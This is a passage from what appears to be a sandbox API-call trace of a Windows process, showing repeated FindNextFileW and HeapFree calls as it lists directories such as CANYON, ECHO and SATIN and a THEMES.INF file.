ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0256.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.395] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0256.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.403] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0256.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.403] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0256.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.403] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0256.404] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.404] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0256.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.406] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0256.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.408] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0256.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0256.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.423] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0256.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.424] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0256.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.426] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0256.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.430] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0256.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.432] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0256.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.450] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0256.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.451] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0256.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.452] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0256.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.452] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0256.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.452] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0256.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.453] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0256.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.454] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0256.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.462] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0256.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.463] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0256.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.463] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0256.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.468] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0256.469] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.469] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0256.469] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.469] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0256.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.470] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0256.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.471] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0256.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.473] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0256.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.474] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0256.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.476] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0256.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.477] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0256.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.479] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0256.480] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.480] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0256.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.481] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0256.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.483] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0256.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.485] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0256.485] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0256.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.735] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0256.736] HeapFree (in: hHeap=0x630000, 